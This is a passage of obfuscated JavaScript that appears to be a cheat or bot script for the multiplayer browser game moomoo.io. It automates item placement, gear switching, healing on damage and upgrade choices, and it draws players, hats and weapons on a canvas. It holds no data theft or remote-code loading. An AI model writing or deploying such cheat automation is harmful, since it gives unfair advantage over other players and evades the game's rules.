_0x5def10.moveDir = _0x49e97c;
_0x26048c.sendWS("a", _0x5def10.moveDir);
_0x26048c.fastGear();
_0x26048c.buye(11, 1);
}
} else {
_0x5def10.moveDir = _0x49e97c;
_0x26048c.sendWS("a", _0x5def10.moveDir);
_0x26048c.fastGear();
_0x26048c.buye(11, 1);
}
if (_0x1a9469 > 300) {
if (_0x4cedba.getDist(_0x5389fa, _0x5def10, 0, 2) > 90) {
let _0x4ab40d = _0x4cedba.getDirect(_0x5389fa, _0x5def10,
0, 2);
_0x26048c.place(3, _0x4ab40d + Math.PI / 2.3);
_0x26048c.place(3, _0x4ab40d - Math.PI / 2.3);
_0x26048c.place(3, _0x4ab40d);
_0x5389fa = {
x: _0x5def10.x2,
y: _0x5def10.y2
};
}
}
} else {
if (_0x5def10.moveDir != undefined) {
_0x5def10.moveDir = undefined;
_0x26048c.sendWS("a", _0x5def10.moveDir);
}
_0x198ce3 = _0x4470bd.filter(_0x4b6ff5 => _0x4b6ff5.active &&
(_0x5a4f5b(_0x178343, _0x4b6ff5.sid) ? true : !_0x4b6ff5.trap || _0x21c5b5.sid !=
_0x4b6ff5.owner.sid && !_0x21c5b5.findAllianceBySid(_0x4b6ff5.owner.sid)) &&
_0x4b6ff5.isItem && _0x4cedba.getDist(_0x4b6ff5, _0x5def10, 0, 2) <=
_0x4b879d.weapons[_0x5def10.weaponIndex].range + _0x4b6ff5.scale).sort(function
(_0x430d51, _0x2296a9) {
return _0x4cedba.getDist(_0x430d51, _0x5def10, 0, 2) -
_0x4cedba.getDist(_0x2296a9, _0x5def10, 0, 2);
})[0];
if (_0x198ce3) {
if (_0x5def10.nDir != _0x4cedba.getDirect(_0x198ce3,
_0x5def10, 0, 2)) {
_0x5def10.nDir = _0x4cedba.getDirect(_0x198ce3, _0x5def10,
0, 2);
_0x26048c.sendWS("D", _0x5def10.nDir);
}
_0x26048c.buye(40, 0);
_0x26048c.buye(11, 1);
} else {
_0x26048c.fastGear();
_0x26048c.buye(11, 1);
}
}
} else if (_0x5def10.moveDir != undefined) {
_0x5def10.moveDir = undefined;
_0x26048c.sendWS("a", _0x5def10.moveDir);
}
}
}
}
if (_0x356b9e == "H") {
let _0x5ba994 = _0x4af6ac[0];
for (let _0x5d4e29 = 0; _0x5d4e29 < _0x5ba994.length;) {
_0x18b516.add(_0x5ba994[_0x5d4e29], _0x5ba994[_0x5d4e29 + 1],
_0x5ba994[_0x5d4e29 + 2], _0x5ba994[_0x5d4e29 + 3], _0x5ba994[_0x5d4e29 + 4],
_0x5ba994[_0x5d4e29 + 5], _0x4b879d.list[_0x5ba994[_0x5d4e29 + 6]], true,
_0x5ba994[_0x5d4e29 + 7] >= 0 ? {
sid: _0x5ba994[_0x5d4e29 + 7]
} : null);
_0x5d4e29 += 8;
}
}
if (_0x356b9e == "N") {
let _0x2fa615 = _0x4af6ac[0];
let _0x1ae63d = _0x4af6ac[1];
if (_0x5def10) {
_0x5def10[_0x2fa615] = _0x1ae63d;
}
}
if (_0x356b9e == "O") {
if (_0x4af6ac[0] == _0x5def10.sid) {
_0x5def10.oldHealth = _0x5def10.health;
_0x5def10.health = _0x4af6ac[1];
_0x5def10.judgeShame();
if (_0x5def10.oldHealth > _0x5def10.health) {
if (_0x5def10.shameCount < 5) {
_0x3cbb6e();
} else {
setTimeout(() => {
_0x3cbb6e();
}, 70);
}
}
}
}
if (_0x356b9e == "Q") {
let _0x11056a = _0x4af6ac[0];
_0x18b516.disableBySid(_0x11056a);
}
if (_0x356b9e == "R") {
let _0x3b4ae2 = _0x4af6ac[0];
if (_0x5def10.alive) {
_0x18b516.removeAllItems(_0x3b4ae2);
}
}
if (_0x356b9e == "S") {
let _0x4fd213 = _0x4af6ac[0];
let _0x371442 = _0x4af6ac[1];
if (_0x5def10) {
_0x5def10.itemCounts[_0x4fd213] = _0x371442;
}
}
if (_0x356b9e == "U") {
if (_0x4af6ac[0] > 0) {
if (_0x5def10.upgraded == 0) {
_0x26048c.sendUpgrade(3);
} else if (_0x5def10.upgraded == 1) {
_0x26048c.sendUpgrade(17);
} else if (_0x5def10.upgraded == 2) {
_0x26048c.sendUpgrade(31);
} else if (_0x5def10.upgraded == 3) {
_0x26048c.sendUpgrade(27);
} else if (_0x5def10.upgraded == 4) {
_0x26048c.sendUpgrade(9);
} else if (_0x5def10.upgraded == 5) {
_0x26048c.sendUpgrade(38);
} else if (_0x5def10.upgraded == 6) {
_0x26048c.sendUpgrade(4);
} else if (_0x5def10.upgraded == 7) {
_0x26048c.sendUpgrade(25);
}
_0x5def10.upgraded++;
}
}
if (_0x356b9e == "V") {
let _0x1a94bb = _0x4af6ac[0];
let _0x1d6eef = _0x4af6ac[1];
if (_0x1a94bb) {
if (_0x1d6eef) {
_0x5def10.weapons = _0x1a94bb;
} else {
_0x5def10.items = _0x1a94bb;
}
}
_0x26048c.sendWS("G", _0x5def10.weapons[0], true);
}
if (_0x356b9e == "5") {
let _0x130c37 = _0x4af6ac[0];
let _0x2d852f = _0x4af6ac[1];
let _0x181e48 = _0x4af6ac[2];
if (_0x181e48) {
if (!_0x130c37) {
_0x5def10.tails[_0x2d852f] = 1;
} else {
_0x5def10.latestTail = _0x2d852f;
}
} else if (!_0x130c37) {
_0x5def10.skins[_0x2d852f] = 1;
} else {
_0x5def10.latestSkin = _0x2d852f;
}
}
if (_0x356b9e == "6") {
let _0x21f4a7 = _0x4af6ac[0];
let _0x28c9c8 = _0x4af6ac[1] + "";
if (_0x21f4a7 == _0x21c5b5.sid && _0x28c9c8.includes("!awakimochi")) {}
}
};
_0x26048c.onclose = function () {
_0x5def10.inGame = false;
_0x372507.inGame = false;
};
}
function _0xa66dfd(_0x5ecd5d, _0x2a801b, _0x378326, _0x4da6d6, _0x667a38) {
let _0xfa80a1 = _0x5ecd5d + _0x378326 * Math.cos(_0x4da6d6);
let _0x2498ff = _0x2a801b + _0x378326 * Math.sin(_0x4da6d6);
let _0x140cca = _0x378326 * 0.4;
_0x667a38.moveTo(_0x5ecd5d, _0x2a801b);
_0x667a38.beginPath();
_0x667a38.quadraticCurveTo((_0x5ecd5d + _0xfa80a1) / 2 + _0x140cca *
Math.cos(_0x4da6d6 + Math.PI / 2), (_0x2a801b + _0x2498ff) / 2 + _0x140cca *
Math.sin(_0x4da6d6 + Math.PI / 2), _0xfa80a1, _0x2498ff);
_0x667a38.quadraticCurveTo((_0x5ecd5d + _0xfa80a1) / 2 - _0x140cca *
Math.cos(_0x4da6d6 + Math.PI / 2), (_0x2a801b + _0x2498ff) / 2 - _0x140cca *
Math.sin(_0x4da6d6 + Math.PI / 2), _0x5ecd5d, _0x2a801b);
_0x667a38.closePath();
_0x667a38.fill();
_0x667a38.stroke();
}
function _0x14f80f(_0x12fb2f, _0x35f9a8, _0xcc174, _0x3c7b6b, _0x303ccb,
_0x3e629b) {
_0x3c7b6b = _0x3c7b6b || _0x4390c3;
_0x3c7b6b.beginPath();
_0x3c7b6b.arc(_0x12fb2f, _0x35f9a8, _0xcc174, 0, Math.PI * 2);
if (!_0x3e629b) {
_0x3c7b6b.fill();
}
if (!_0x303ccb) {
_0x3c7b6b.stroke();
}
}
function _0x2035e2(_0x57f44a, _0x22ba07, _0x2e83fa, _0x418520, _0x24d781,
_0x1c2811) {
_0x418520 = _0x418520 || _0x4390c3;
_0x418520.beginPath();
_0x418520.arc(_0x57f44a, _0x22ba07, _0x2e83fa, 0, Math.PI * 2);
if (!_0x1c2811) {
_0x418520.fill();
}
if (!_0x24d781) {
_0x418520.stroke();
}
}
function _0x2a5f25(_0x5d42e0, _0x578490, _0x2e8ed4, _0x5e27c4) {
let _0x3ef047 = Math.PI / 2 * 3;
let _0x5e5b73;
let _0x2c8937;
let _0x3b6249 = Math.PI / _0x578490;
_0x5d42e0.beginPath();
_0x5d42e0.moveTo(0, -_0x2e8ed4);
for (let _0x45c7f0 = 0; _0x45c7f0 < _0x578490; _0x45c7f0++) {
_0x5e5b73 = Math.cos(_0x3ef047) * _0x2e8ed4;
_0x2c8937 = Math.sin(_0x3ef047) * _0x2e8ed4;
_0x5d42e0.lineTo(_0x5e5b73, _0x2c8937);
_0x3ef047 += _0x3b6249;
_0x5e5b73 = Math.cos(_0x3ef047) * _0x5e27c4;
_0x2c8937 = Math.sin(_0x3ef047) * _0x5e27c4;
_0x5d42e0.lineTo(_0x5e5b73, _0x2c8937);
_0x3ef047 += _0x3b6249;
}
_0x5d42e0.lineTo(0, -_0x2e8ed4);
_0x5d42e0.closePath();
}
function _0x1cb726(_0x57d7f4, _0x43a11d, _0x23e54b, _0x37854d) {
let _0x5cdb68 = Math.PI / 2 * 3;
let _0x377902;
let _0xf1dbe7;
let _0x55d5e3 = Math.PI / _0x43a11d;
_0x57d7f4.beginPath();
_0x57d7f4.moveTo(0, -_0x23e54b);
for (let _0x1d6921 = 0; _0x1d6921 < _0x43a11d; _0x1d6921++) {
_0x377902 = Math.cos(_0x5cdb68) * _0x23e54b;
_0xf1dbe7 = Math.sin(_0x5cdb68) * _0x23e54b;
_0x57d7f4.lineTo(_0x377902, _0xf1dbe7);
_0x5cdb68 += _0x55d5e3;
_0x377902 = Math.cos(_0x5cdb68) * _0x37854d;
_0xf1dbe7 = Math.sin(_0x5cdb68) * _0x37854d;
_0x57d7f4.lineTo(_0x377902, _0xf1dbe7);
_0x5cdb68 += _0x55d5e3;
}
_0x57d7f4.lineTo(0, -_0x23e54b);
_0x57d7f4.closePath();
}
function _0x4031f7(_0x34d37c, _0x296b12, _0x2ff61a, _0x41a095, _0x4bf237,
_0x342c72, _0x5e3cc7) {
if (!_0x5e3cc7) {
_0x4bf237.fillRect(_0x34d37c - _0x2ff61a / 2, _0x296b12 - _0x41a095 / 2,
_0x2ff61a, _0x41a095);
}
if (!_0x342c72) {
_0x4bf237.strokeRect(_0x34d37c - _0x2ff61a / 2, _0x296b12 - _0x41a095 /
2, _0x2ff61a, _0x41a095);
}
}
function _0x34c642(_0xe647dc, _0x36c553, _0x33b278, _0x2bf603, _0x1440dd,
_0x18a0ff, _0x3c6c52) {
if (!_0x3c6c52) {
_0x1440dd.fillRect(_0xe647dc - _0x33b278 / 2, _0x36c553 - _0x2bf603 / 2,
_0x33b278, _0x2bf603);
}
if (!_0x18a0ff) {
_0x1440dd.strokeRect(_0xe647dc - _0x33b278 / 2, _0x36c553 - _0x2bf603 /
2, _0x33b278, _0x2bf603);
}
}
function _0x36c3dd(_0x5efe21, _0x3f3304, _0x1168d1, _0x714694, _0x2fe8e8,
_0x3e39c9, _0x471a54, _0x5cecf4) {
_0x3e39c9.save();
_0x3e39c9.translate(_0x5efe21, _0x3f3304);
_0x2fe8e8 = Math.ceil(_0x2fe8e8 / 2);
for (let _0x36fd6d = 0; _0x36fd6d < _0x2fe8e8; _0x36fd6d++) {
_0x4031f7(0, 0, _0x1168d1 * 2, _0x714694, _0x3e39c9, _0x471a54,
_0x5cecf4);
_0x3e39c9.rotate(Math.PI / _0x2fe8e8);
}
_0x3e39c9.restore();
}
function _0x445c99(_0x694333, _0x3aeb57, _0x3d3b5a, _0x92cfda) {
let _0xee00f6 = Math.PI / 2 * 3;
let _0x328279;
let _0x3f94b2;
let _0xa205bd = Math.PI / _0x3aeb57;
let _0xcaaa06;
_0x694333.beginPath();
_0x694333.moveTo(0, -_0x92cfda);
for (let _0x18c2c3 = 0; _0x18c2c3 < _0x3aeb57; _0x18c2c3++) {
_0xcaaa06 = _0x4cedba.randInt(_0x3d3b5a + 0.9, _0x3d3b5a * 1.2);
_0x694333.quadraticCurveTo(Math.cos(_0xee00f6 + _0xa205bd) * _0xcaaa06,
Math.sin(_0xee00f6 + _0xa205bd) * _0xcaaa06, Math.cos(_0xee00f6 + _0xa205bd * 2) *
_0x92cfda, Math.sin(_0xee00f6 + _0xa205bd * 2) * _0x92cfda);
_0xee00f6 += _0xa205bd * 2;
}
_0x694333.lineTo(0, -_0x92cfda);
_0x694333.closePath();
}
function _0x549ce6(_0x1d549b, _0x136999) {
_0x136999 = _0x136999 || _0x4390c3;
let _0x383838 = _0x1d549b * (Math.sqrt(3) / 2);
_0x136999.beginPath();
_0x136999.moveTo(0, -_0x383838 / 2);
_0x136999.lineTo(-_0x1d549b / 2, _0x383838 / 2);
_0x136999.lineTo(_0x1d549b / 2, _0x383838 / 2);
_0x136999.lineTo(0, -_0x383838 / 2);
_0x136999.fill();
_0x136999.closePath();
}
function _0x4734be() {}
function _0x849e18(_0x262bba, _0x190059) {
_0x4390c3.fillStyle = "#91b2db";
_0xf90add.filter(_0x2d2250 => _0x2d2250.active).forEach(_0x34befe => {
_0x34befe.animate(_0x32bba9);
_0x4390c3.globalAlpha = _0x34befe.alpha;
_0x4390c3.strokeStyle = _0x419dfb;
_0x4390c3.save();
_0x4390c3.translate(_0x34befe.x - _0x262bba, _0x34befe.y - _0x190059);
_0x4390c3.rotate(_0x34befe.dir);
_0x4390c3.scale(_0x34befe.visScale / _0x34befe.scale,
_0x34befe.visScale / _0x34befe.scale);
_0x2ca4e2(_0x34befe, _0x4390c3);
_0x4390c3.restore();
_0x4390c3.font = "20px Ubuntu";
let _0x3f8010 = _0x4390c3.measureText("R.I.P");
let _0x4de3d0 = 60;
let _0x13c9ba = _0x3f8010.width + 10;
_0x4390c3.textBaseline = "middle";
_0x4390c3.textAlign = "center";
_0x4390c3.fillStyle = "#ccc";
_0x4390c3.strokeStyle = "#999";
_0x4390c3.roundRect(_0x34befe.x - _0x262bba - _0x13c9ba / 2, _0x34befe.y
- _0x190059 - _0x4de3d0 / 2 + _0x34befe.scale * 1.5, _0x13c9ba, _0x4de3d0, 6);
_0x4390c3.fill();
_0x4390c3.stroke();
_0x4390c3.fillStyle = "#fff";
_0x4390c3.strokeStyle = "#000";
_0x4390c3.strokeText("R.I.P", _0x34befe.x - _0x262bba, _0x34befe.y +
_0x34befe.scale * 1.5 - _0x190059);
_0x4390c3.fillText("R.I.P", _0x34befe.x - _0x262bba, _0x34befe.y +
_0x34befe.scale * 1.5 - _0x190059);
_0x4390c3.strokeText(_0x34befe.name, _0x34befe.x - _0x262bba, _0x34befe.y
+ _0x34befe.scale * 1.5 + 20 - _0x190059);
_0x4390c3.fillText(_0x34befe.name, _0x34befe.x - _0x262bba, _0x34befe.y +
_0x34befe.scale * 1.5 + 20 - _0x190059);
_0x4390c3.fillStyle = "#91b2db";
});
}
function _0x48e89e(_0x2d5675, _0x1e14f4, _0x12dffe) {
_0x4390c3.globalAlpha = 1;
_0x4390c3.fillStyle = "#91b2db";
for (var _0x4f6eb4 = 0; _0x4f6eb4 < _0x119a04.length; ++_0x4f6eb4) {
_0x3fce7e = _0x119a04[_0x4f6eb4];
if (_0x3fce7e.zIndex == _0x12dffe) {
_0x3fce7e.animate(_0x32bba9);
if (_0x3fce7e.visible) {
_0x3fce7e.skinRot += _0x32bba9 * 0.002;
_0x4ff55e = !_0x20bd10.showDir && !_0x4f4659 && _0x3fce7e ==
_0x21c5b5 ? _0x20bd10.attackDir ? _0x7a804b() : _0x19c336() : _0x3fce7e.dir || 0;
_0x4390c3.save();
_0x4390c3.translate(_0x3fce7e.x - _0x2d5675, _0x3fce7e.y -
_0x1e14f4);
_0x4390c3.rotate(_0x4ff55e + _0x3fce7e.dirPlus);
_0x72ddc6(_0x3fce7e, _0x4390c3);
_0x4390c3.restore();
}
}
}
}
function _0x2ca4e2(_0x33bf62, _0x4f4ed6) {
_0x4f4ed6 = _0x4f4ed6 || _0x4390c3;
_0x4f4ed6.lineWidth = _0x16e65c;
_0x4f4ed6.lineJoin = "miter";
let _0x286f71 = Math.PI / 4 *
(_0x4b879d.weapons[_0x33bf62.weaponIndex].armS || 1);
let _0x2cce55 = _0x33bf62.buildIndex < 0 ?
_0x4b879d.weapons[_0x33bf62.weaponIndex].hndS || 1 : 1;
let _0x25eb52 = _0x33bf62.buildIndex < 0 ?
_0x4b879d.weapons[_0x33bf62.weaponIndex].hndD || 1 : 1;
if (_0x33bf62.buildIndex < 0 && !
_0x4b879d.weapons[_0x33bf62.weaponIndex].aboveHand) {
_0x24dda6(_0x4b879d.weapons[_0x33bf62.weaponIndex],
_0x124d71.weaponVariants[_0x33bf62.weaponVariant].src, _0x33bf62.scale, 0,
_0x4f4ed6);
if (_0x4b879d.weapons[_0x33bf62.weaponIndex].projectile != undefined && !
_0x4b879d.weapons[_0x33bf62.weaponIndex].hideProjectile) {
_0x436ca2(_0x33bf62.scale, 0,
_0x4b879d.projectiles[_0x4b879d.weapons[_0x33bf62.weaponIndex].projectile],
_0x4390c3);
}
}
_0x4f4ed6.fillStyle = _0x124d71.skinColors[_0x33bf62.skinColor];
_0x14f80f(_0x33bf62.scale * Math.cos(_0x286f71), _0x33bf62.scale *
Math.sin(_0x286f71), 14);
_0x14f80f(_0x33bf62.scale * _0x25eb52 * Math.cos(-_0x286f71 * _0x2cce55),
_0x33bf62.scale * _0x25eb52 * Math.sin(-_0x286f71 * _0x2cce55), 14);
if (_0x33bf62.buildIndex < 0 &&
_0x4b879d.weapons[_0x33bf62.weaponIndex].aboveHand) {
_0x24dda6(_0x4b879d.weapons[_0x33bf62.weaponIndex],
_0x124d71.weaponVariants[_0x33bf62.weaponVariant].src, _0x33bf62.scale, 0,
_0x4f4ed6);
if (_0x4b879d.weapons[_0x33bf62.weaponIndex].projectile != undefined && !
_0x4b879d.weapons[_0x33bf62.weaponIndex].hideProjectile) {
_0x436ca2(_0x33bf62.scale, 0,
_0x4b879d.projectiles[_0x4b879d.weapons[_0x33bf62.weaponIndex].projectile],
_0x4390c3);
}
}
if (_0x33bf62.buildIndex >= 0) {
var _0x18ae76 = _0x46aa09(_0x4b879d.list[_0x33bf62.buildIndex]);
_0x4f4ed6.drawImage(_0x18ae76, _0x33bf62.scale -
_0x4b879d.list[_0x33bf62.buildIndex].holdOffset, -_0x18ae76.width / 2);
}
_0x14f80f(0, 0, _0x33bf62.scale, _0x4f4ed6);
_0x4f4ed6.lineWidth = 2;
_0x4f4ed6.fillStyle = "#555";
_0x4f4ed6.font = "35px Hammersmith One";
_0x4f4ed6.textBaseline = "middle";
_0x4f4ed6.textAlign = "center";
_0x4f4ed6.fillText("(", 20, 5);
_0x4f4ed6.rotate(Math.PI / 2);
_0x4f4ed6.font = "30px Hammersmith One";
_0x4f4ed6.fillText("X", -15, 15 / 2);
_0x4f4ed6.fillText("X", 15, 15 / 2);
}
function _0x72ddc6(_0xc5908e, _0x30b1c5) {
_0x30b1c5 = _0x30b1c5 || _0x4390c3;
_0x30b1c5.lineWidth = _0x16e65c;
_0x30b1c5.lineJoin = "miter";
let _0x738f63 = Math.PI / 4 *
(_0x4b879d.weapons[_0xc5908e.weaponIndex].armS || 1);
let _0x3e066c = _0xc5908e.buildIndex < 0 ?
_0x4b879d.weapons[_0xc5908e.weaponIndex].hndS || 1 : 1;
let _0x36ed22 = _0xc5908e.buildIndex < 0 ?
_0x4b879d.weapons[_0xc5908e.weaponIndex].hndD || 1 : 1;
let _0x43eb38 = _0xc5908e == _0x21c5b5 && _0xc5908e.weapons[0] == 3 &&
_0xc5908e.weapons[1] == 15;
if (_0xc5908e.tailIndex > 0) {
_0x5f2445(_0xc5908e.tailIndex, _0x30b1c5, _0xc5908e);
}
if (_0xc5908e.buildIndex < 0 && !
_0x4b879d.weapons[_0xc5908e.weaponIndex].aboveHand) {
_0x24dda6(_0x4b879d.weapons[_0x43eb38 ? 4 : _0xc5908e.weaponIndex],
_0x124d71.weaponVariants[_0xc5908e.weaponVariant].src, _0xc5908e.scale, 0,
_0x30b1c5);
if (_0x4b879d.weapons[_0xc5908e.weaponIndex].projectile != undefined && !
_0x4b879d.weapons[_0xc5908e.weaponIndex].hideProjectile) {
_0x436ca2(_0xc5908e.scale, 0,
_0x4b879d.projectiles[_0x4b879d.weapons[_0xc5908e.weaponIndex].projectile],
_0x4390c3);
}
}
_0x30b1c5.fillStyle = _0x124d71.skinColors[_0xc5908e.skinColor];
_0x14f80f(_0xc5908e.scale * Math.cos(_0x738f63), _0xc5908e.scale *
Math.sin(_0x738f63), 15);
_0x14f80f(_0xc5908e.scale * _0x36ed22 * Math.cos(-_0x738f63 * _0x3e066c),
_0xc5908e.scale * _0x36ed22 * Math.sin(-_0x738f63 * _0x3e066c), 15);
if (_0xc5908e.buildIndex < 0 &&
_0x4b879d.weapons[_0xc5908e.weaponIndex].aboveHand) {
_0x24dda6(_0x4b879d.weapons[_0xc5908e.weaponIndex],
_0x124d71.weaponVariants[_0xc5908e.weaponVariant].src, _0xc5908e.scale, 0,
_0x30b1c5);
if (_0x4b879d.weapons[_0xc5908e.weaponIndex].projectile != undefined && !
_0x4b879d.weapons[_0xc5908e.weaponIndex].hideProjectile) {
_0x436ca2(_0xc5908e.scale, 0,
_0x4b879d.projectiles[_0x4b879d.weapons[_0xc5908e.weaponIndex].projectile],
_0x4390c3);
}
}
if (_0xc5908e.buildIndex >= 0) {
var _0x591d5a = _0x46aa09(_0x4b879d.list[_0xc5908e.buildIndex]);
_0x30b1c5.drawImage(_0x591d5a, _0xc5908e.scale -
_0x4b879d.list[_0xc5908e.buildIndex].holdOffset, -_0x591d5a.width / 2);
}
_0x14f80f(0, 0, _0xc5908e.scale, _0x30b1c5);
if (_0xc5908e.skinIndex > 0) {
_0x30b1c5.rotate(Math.PI / 2);
_0x508ab0(_0xc5908e.skinIndex, _0x30b1c5, null, _0xc5908e);
}
}
let _0x430926 = {};
let _0x52c049 = {};
let _0x2c0869;
function _0x508ab0(_0x42f50c, _0x644493, _0x4072cd, _0x3e06a5) {
_0x2c0869 = _0x430926[_0x42f50c];
if (!_0x2c0869) {
let _0x43b3de = new Image();
_0x43b3de.onload = function () {
this.isLoaded = true;
this.onload = null;
};
_0x43b3de.src = "https://moomoo.io/img/hats/hat_" + _0x42f50c + ".png";
_0x430926[_0x42f50c] = _0x43b3de;
_0x2c0869 = _0x43b3de;
}
let _0x27ceaa = _0x4072cd || _0x52c049[_0x42f50c];
if (!_0x27ceaa) {
for (let _0x4e9707 = 0; _0x4e9707 < _0x5db0d5.length; ++_0x4e9707) {
if (_0x5db0d5[_0x4e9707].id == _0x42f50c) {
_0x27ceaa = _0x5db0d5[_0x4e9707];
break;
}
}
_0x52c049[_0x42f50c] = _0x27ceaa;
}
if (_0x2c0869.isLoaded) {
_0x644493.drawImage(_0x2c0869, -_0x27ceaa.scale / 2, -_0x27ceaa.scale /
2, _0x27ceaa.scale, _0x27ceaa.scale);
}
if (!_0x4072cd && _0x27ceaa.topSprite) {
_0x644493.save();
_0x644493.rotate(_0x3e06a5.skinRot);
_0x508ab0(_0x42f50c + "_top", _0x644493, _0x27ceaa, _0x3e06a5);
_0x644493.restore();
}
}
let _0x4eb4c0 = {};
let _0x51a687 = {};
function _0x5f2445(_0x3aa956, _0x5969b0, _0x70256e) {
_0x2c0869 = _0x4eb4c0[_0x3aa956];
if (!_0x2c0869) {
let _0x5bd126 = new Image();
_0x5bd126.onload = function () {
this.isLoaded = true;
this.onload = null;
};
_0x5bd126.src = "https://moomoo.io/img/accessories/access_" + _0x3aa956 +
".png";
_0x4eb4c0[_0x3aa956] = _0x5bd126;
_0x2c0869 = _0x5bd126;
}
let _0xe47f15 = _0x51a687[_0x3aa956];
if (!_0xe47f15) {
for (let _0x3ba3d5 = 0; _0x3ba3d5 < _0x55466c.length; ++_0x3ba3d5) {
if (_0x55466c[_0x3ba3d5].id == _0x3aa956) {
_0xe47f15 = _0x55466c[_0x3ba3d5];
break;
}
}
_0x51a687[_0x3aa956] = _0xe47f15;
}
if (_0x2c0869.isLoaded) {
_0x5969b0.save();
_0x5969b0.translate(-20 - (_0xe47f15.xOff || 0), 0);
if (_0xe47f15.spin) {
_0x5969b0.rotate(_0x70256e.skinRot);
}
_0x5969b0.drawImage(_0x2c0869, -(_0xe47f15.scale / 2), -
(_0xe47f15.scale / 2), _0xe47f15.scale, _0xe47f15.scale);
_0x5969b0.restore();
}
}
let _0x416366 = {};
function _0x24dda6(_0x3a81b4, _0x4b1796, _0x36d8ce, _0x7faf81, _0x22a5c4) {
let _0x3f3659 = _0x3a81b4.src + (_0x4b1796 || "");
let _0x28d6b7 = _0x416366[_0x3f3659];
if (!_0x28d6b7) {
_0x28d6b7 = new Image();
_0x28d6b7.onload = function () {
this.isLoaded = true;
};
_0x28d6b7.src = "https://moomoo.io/img/weapons/" + _0x3f3659 + ".png";
_0x416366[_0x3f3659] = _0x28d6b7;
}
if (_0x28d6b7.isLoaded) {
_0x22a5c4.drawImage(_0x28d6b7, _0x36d8ce + _0x3a81b4.xOff -
_0x3a81b4.length / 2, _0x7faf81 + _0x3a81b4.yOff - _0x3a81b4.width / 2,
_0x3a81b4.length, _0x3a81b4.width);
}
}
function _0x8af6cf(_0x38683d, _0x4a26d6, _0x4f6520) {
for (let _0x144840 = 0; _0x144840 < _0x2033cb.length; _0x144840++) {
_0x3fce7e = _0x2033cb[_0x144840];
if (_0x3fce7e.active && _0x3fce7e.layer == _0x38683d &&
_0x3fce7e.inWindow) {
_0x3fce7e.update(_0x32bba9);
if (_0x3fce7e.active && _0x397d84(_0x3fce7e.x - _0x4a26d6, _0x3fce7e.y
- _0x4f6520, _0x3fce7e.scale)) {
_0x4390c3.save();
_0x4390c3.translate(_0x3fce7e.x - _0x4a26d6, _0x3fce7e.y -
_0x4f6520);
_0x4390c3.rotate(_0x3fce7e.dir);
_0x436ca2(0, 0, _0x3fce7e, _0x4390c3, 1);
_0x4390c3.restore();
}
}
}
;
}
let _0x4cbc17 = {};
function _0x436ca2(_0x57d3b8, _0x3b6275, _0x5da00d, _0x745c7, _0x54426e) {
if (_0x5da00d.src) {
let _0x5d14aa = _0x4b879d.projectiles[_0x5da00d.indx].src;
let _0x218204 = _0x4cbc17[_0x5d14aa];
if (!_0x218204) {
_0x218204 = new Image();
_0x218204.onload = function () {
this.isLoaded = true;
};
_0x218204.src = "https://moomoo.io/img/weapons/" + _0x5d14aa + ".png";
_0x4cbc17[_0x5d14aa] = _0x218204;
}
if (_0x218204.isLoaded) {
_0x745c7.drawImage(_0x218204, _0x57d3b8 - _0x5da00d.scale / 2,
_0x3b6275 - _0x5da00d.scale / 2, _0x5da00d.scale, _0x5da00d.scale);
}
} else if (_0x5da00d.indx == 1) {
_0x745c7.fillStyle = "#939393";
_0x14f80f(_0x57d3b8, _0x3b6275, _0x5da00d.scale, _0x745c7);
}
}
let _0x37090a = {};
function _0x31a5f4(_0x17bfeb, _0x4950d5) {
let _0x108ddc = _0x17bfeb.index;
let _0x33d16e = _0x37090a[_0x108ddc];
if (!_0x33d16e) {
let _0x1d5b30 = new Image();
_0x1d5b30.onload = function () {
this.isLoaded = true;
this.onload = null;
};
_0x1d5b30.src = "https://moomoo.io/img/animals/" + _0x17bfeb.src +
".png";
_0x33d16e = _0x1d5b30;
_0x37090a[_0x108ddc] = _0x33d16e;
}
if (_0x33d16e.isLoaded) {
let _0x505ec5 = _0x17bfeb.scale * 1.2 * (_0x17bfeb.spriteMlt || 1);
_0x4950d5.drawImage(_0x33d16e, -_0x505ec5, -_0x505ec5, _0x505ec5 * 2,
_0x505ec5 * 2);
}
}
function _0x20c7fe(_0x54bcd7, _0x2cc77a, _0x1d5f7a, _0x24bf6d) {
let _0x377242 = _0x124d71.riverWidth + _0x24bf6d;
let _0xa6bdb7 = _0x124d71.mapScale / 2 - _0x2cc77a - _0x377242 / 2;
if (_0xa6bdb7 < _0xef4b05 && _0xa6bdb7 + _0x377242 > 0) {
_0x1d5f7a.fillRect(0, _0xa6bdb7, _0x2c4533, _0x377242);
}
}
let _0x99a9b5 = {};
function _0x18fc88(_0x31ea01) {
let _0x32bbe9 = _0x31ea01.y >= _0x124d71.mapScale -
_0x124d71.snowBiomeTop ? 2 : _0x31ea01.y <= _0x124d71.snowBiomeTop ? 1 : 0;
let _0x3278d5 = _0x31ea01.type + "_" + _0x31ea01.scale + "_" + _0x32bbe9;
let _0x2ab316 = _0x99a9b5[_0x3278d5];
if (!_0x2ab316) {
let _0x2866c0 = 15;
let _0x4dab1b = document.createElement("canvas");
_0x4dab1b.width = _0x4dab1b.height = _0x31ea01.scale * 2.1 + _0x16e65c;
let _0x284b5c = _0x4dab1b.getContext("2d");
_0x284b5c.translate(_0x4dab1b.width / 2, _0x4dab1b.height / 2);
_0x284b5c.rotate(_0x4cedba.randFloat(0, Math.PI));
_0x284b5c.strokeStyle = _0x419dfb;
_0x284b5c.lineWidth = _0x16e65c;
if (_0x10ee51) {
_0x284b5c.shadowBlur = _0x2866c0;
_0x284b5c.shadowColor = "rgba(0, 0, 0, " + _0x31ea01.alpha + ")";
}
if (_0x31ea01.type == 0) {
let _0x5e6f2c;
let _0x193c35 = _0x4cedba.randInt(5, 7);
_0x284b5c.globalAlpha = _0x10ee51 ? 0.6 : 0.8;
for (let _0x485cb4 = 0; _0x485cb4 < 2; ++_0x485cb4) {
_0x5e6f2c = _0x3fce7e.scale * (!_0x485cb4 ? 1 : 0.5);
_0x2a5f25(_0x284b5c, _0x193c35, _0x5e6f2c, _0x5e6f2c * 0.7);
_0x284b5c.fillStyle = !_0x32bbe9 ? !_0x485cb4 ? "#9ebf57" : "#b4db62"
: !_0x485cb4 ? "#e3f1f4" : "#fff";
_0x284b5c.fill();
if (!_0x485cb4) {
_0x284b5c.stroke();
_0x284b5c.shadowBlur = null;
_0x284b5c.shadowColor = null;
_0x284b5c.globalAlpha = 1;
}
}
} else if (_0x31ea01.type == 1) {
if (_0x32bbe9 == 2) {
_0x284b5c.fillStyle = "#606060";
_0x2a5f25(_0x284b5c, 6, _0x31ea01.scale * 0.3, _0x31ea01.scale *
